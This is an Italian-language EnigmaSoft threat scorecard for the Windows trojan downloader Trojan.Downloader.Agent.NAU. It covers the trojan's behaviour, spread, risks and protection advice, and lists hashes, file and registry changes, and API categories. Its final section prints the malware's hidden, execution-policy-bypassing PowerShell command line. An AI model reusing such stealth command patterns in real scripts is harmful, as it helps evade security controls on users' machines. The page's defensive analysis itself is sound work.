Trojan.Downloader.Agent.NAU
Cartoncino segnapunti di minaccia
Scheda di valutazione delle minacce di EnigmaSoft
Le EnigmaSoft Threat Scorecard sono rapporti di valutazione per diverse minacce malware che sono state raccolte e analizzate dal nostro team di ricerca. Le EnigmaSoft Threat Scorecard valutano e classificano le minacce utilizzando diverse metriche tra cui fattori di rischio reali e potenziali, tendenze, frequenza, prevalenza e persistenza. Le EnigmaSoft Threat Scorecard vengono aggiornate regolarmente in base ai dati e alle metriche della nostra ricerca e sono utili per un'ampia gamma di utenti di computer, dagli utenti finali che cercano soluzioni per rimuovere il malware dai loro sistemi agli esperti di sicurezza che analizzano le minacce.
Le schede di valutazione delle minacce di EnigmaSoft mostrano una serie di informazioni utili, tra cui:
Classifica di popolarità: la posizione di una particolare minaccia nel database delle minacce di EnigmaSoft.
Livello di gravità: il livello di gravità determinato di un oggetto, rappresentato numericamente, in base al nostro processo di modellazione del rischio e alla nostra ricerca, come spiegato nei nostri criteri di valutazione delle minacce .
Computer infetti: il numero di casi confermati e sospetti di una particolare minaccia rilevati su computer infetti come riportato da SpyHunter.
Vedere anche Criteri di valutazione delle minacce .
| Classifica di popolarità: | 15,408 |
| Livello di minaccia: | 80 % (Alto) |
| Computer infetti: | 18 |
| Visto per la prima volta: | February 8, 2024 |
| Ultima visualizzazione: | October 9, 2026 |
| Sistemi operativi interessati: | Windows |
Trojan.Downloader.Agent.NAU è un programma dannoso per Windows classificato come Trojan downloader. Il suo scopo principale non è quello di causare danni visibili di per sé, ma di aprire silenziosamente la strada ad altri malware scaricando e installando componenti dannosi aggiuntivi sul computer infetto. Osservato per la prima volta nel febbraio 2024 e tuttora rilevabile, questa minaccia presenta un elevato livello di pericolosità a causa della sua capacità di fungere da trampolino di lancio per infezioni ben più dannose.
Sommario
Cosa fa Trojan.Downloader.Agent.NAU
Una volta attivo su un sistema, Trojan.Downloader.Agent.NAU viene eseguito silenziosamente in background, nascondendo la sua presenza all'utente. È progettato per installarsi in modo furtivo e quindi eseguire funzioni dannose senza lasciare tracce visibili. L'analisi del suo comportamento mostra che può avviare lo strumento Windows PowerShell con finestre nascoste e aggirando le policy di esecuzione, consentendogli di eseguire script e comandi senza attivare i normali avvisi di sicurezza. Interagisce inoltre con i processi di sistema, verifica la presenza di strumenti di debug e raccoglie informazioni sull'utente connesso, come il nome utente e le impostazioni internazionali. Queste capacità suggeriscono che il Trojan è progettato per operare in modo occulto mentre prepara il sistema per ulteriori compromissioni, come il download di payload aggiuntivi, consentendo ad aggressori remoti di ottenere il controllo o raccogliendo dati sensibili.
Come solitamente si insinua nei computer
Il Trojan.Downloader.Agent.NAU si diffonde in genere sfruttando vulnerabilità e debolezze di sicurezza del sistema. Viene spesso distribuito insieme a software scaricati da siti web inaffidabili o dannosi, oppure tramite allegati e-mail provenienti da mittenti sconosciuti o sospetti. Questi allegati possono essere camuffati da file normali, inclusi file eseguibili, file multimediali o persino file immagine, inducendo gli utenti ad aprirli. Come tipico dei Trojan di tipo downloader, l'infezione spesso avviene senza alcun preavviso evidente, poiché il file dannoso può apparire innocuo a prima vista.
Rischi per l’utente
Poiché questo Trojan è principalmente un programma di download, il suo rischio maggiore risiede in ciò che può introdurre successivamente nel sistema. Potrebbe consentire agli hacker di ottenere un controllo esteso sul computer infetto, portando potenzialmente all'installazione di spyware, ransomware, programmi per il furto di password o altri programmi pericolosi. L'utilizzo di comandi PowerShell nascosti e chiamate di sistema che richiedono privilegi elevati indica che può tentare di ottenere un accesso più elevato ed eseguire azioni difficili da rilevare per un utente medio. Se non contrastato, questo può comportare il furto di credenziali, perdite finanziarie, file danneggiati o un sistema gravemente compromesso.
Segni di infezione
Poiché Trojan.Downloader.Agent.NAU è progettato per funzionare silenziosamente, i sintomi evidenti potrebbero essere minimi. Tuttavia, gli utenti dovrebbero prestare attenzione a rallentamenti inspiegabili, processi in background insoliti, finestre di PowerShell che compaiono brevemente inaspettatamente, picchi di attività di rete o file nuovi e sconosciuti che compaiono nelle cartelle temporanee. Il software di sicurezza che segnala script sospetti o rileva questo specifico nome di Trojan è spesso l'indicatore più chiaro di un'infezione.
Come rimanere protetti
Per ridurre il rischio di infezione, evitate di scaricare software da siti web non ufficiali o non verificati e non aprite mai allegati di posta elettronica provenienti da mittenti sconosciuti o inaspettati, soprattutto file eseguibili o con estensioni insolite. Mantenete sempre aggiornati il sistema operativo Windows e tutti i software installati, poiché questo Trojan sfrutta vulnerabilità non corrette. Eseguite regolarmente il backup dei file importanti, fate attenzione quando abilitate macro o eseguite script e mantenete attiva una soluzione di sicurezza affidabile e aggiornata per rilevare e bloccare minacce come Trojan.Downloader.Agent.NAU prima che possano causare danni.
Rapporto di analisi
Informazione Generale
| Cognome: | Trojan.Downloader.Agent.NAU |
|---|---|
| Stato della firma: | No Signature |
Campioni noti
Campioni noti
Questa sezione elenca altri campioni di file che si ritiene siano associati a questa famiglia.|
MD5:
48f1316432f4b9714542cf733d936ed8
SHA1:
34917dad9f0977a1d3e8d7228b60246615bc28dd
SHA256:
BA2FE025F1D1EEE75D547CE5BE1340A09FFEB83F35883D367B4095FFCA60C257
Dimensione del file:
135.17 KB.135168 byte
|
Attributi di Windows Portable Executable
- File doesn't have "Rich" header
- File doesn't have resources
- File doesn't have security information
- File has exports table
- File is 64-bit executable
- File is either console or GUI application
- File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
- File is Native application (NOT .NET application)
- File is not packed
- IMAGE_FILE_DLL is not set inside PE header (Executable)
Show 1 more
- IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)
Caratteristiche dei file
- dll
- x64
Informazioni sul blocco
Informazioni sul blocco
Durante l'analisi, EnigmaSoft suddivide i campioni di file in blocchi logici per la classificazione e il confronto con altri campioni. I blocchi possono essere utilizzati per generare regole di rilevamento del malware e per raggruppare i campioni di file in famiglie in base al codice sorgente condiviso, alla funzionalità e ad altri attributi e caratteristiche distintive. Questa sezione elenca un riepilogo dei dati dei blocchi, nonché la loro classificazione da parte di EnigmaSoft. Viene inoltre visualizzata una rappresentazione grafica dei dati dei blocchi, ove disponibile.| Blocchi totali: | 478 |
|---|---|
| Blocchi potenzialmente dannosi: | 16 |
| Blocchi consentiti: | 461 |
| Blocchi sconosciuti: | 1 |
Mappa visiva
? - Blocco sconosciuto
x - Blocco potenzialmente dannoso
File modificati
File modificati
Questa sezione elenca i file creati, modificati, spostati e/o eliminati dai campioni di questa famiglia. L'attività del file system può fornire preziose informazioni sul funzionamento del malware sul sistema operativo.| File | Attributi |
|---|---|
| \device\namedpipe\dav rpc service | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| \device\namedpipe\pshost.134330117538528711.4124.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| \device\namedpipe\wkssvc | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_5ho5pj4z.44r.psm1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_oih24goz.lbn.ps1 | Generic Write,Read Attributes |
Modifiche al registro
Modifiche al registro
Questa sezione elenca le chiavi e i valori del registro di sistema creati, modificati e/o eliminati dai campioni di questa famiglia. L'attività del Registro di sistema di Windows può fornire preziose informazioni sulla funzionalità del malware. Inoltre, il malware spesso crea valori nel registro di sistema per potersi avviare automaticamente e persistere indefinitamente dopo che un'infezione iniziale ha compromesso il sistema.| Chiave::Valore | Dati | Nome API |
|---|---|---|
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 멁㲇ǝ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | ᏽ멉㲇ǝ | RegNtPreCreateKey |
Utilizzo delle API di Windows
Utilizzo delle API di Windows
Questa sezione elenca le chiamate API di Windows utilizzate dagli esempi di questa famiglia. L'analisi dell'utilizzo delle API di Windows è uno strumento prezioso che può aiutare a identificare attività dannose, come keylogging, escalation dei privilegi di sicurezza, crittografia dei dati, esfiltrazione di dati, interferenza con software antivirus e manipolazione delle richieste di rete.| Categoria | API |
|---|---|
| Syscall Use |
Show 90 more
Altri 26 articoli non sono visualizzati qui sopra. |
| Anti Debug |
|
| User Data Access |
|
| Process Shell Execute |
|
| Encryption Used |
|
| Other Suspicious |
|
Esecuzione di comandi shell
Esecuzione di comandi shell
Questa sezione elenca i comandi della shell di Windows eseguiti dai campioni di questa famiglia. I comandi della shell di Windows vengono spesso sfruttati dai malware per scopi illeciti e possono essere utilizzati per elevare i privilegi di sicurezza, scaricare e avviare altri malware, sfruttare le vulnerabilità, raccogliere ed esfiltrare dati e nascondere attività dannose.
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -NoProfile -ExecutionPolicy bypass -Command $mydir = [System.Environment]::GetFolderPath('CommonApplicationData')
|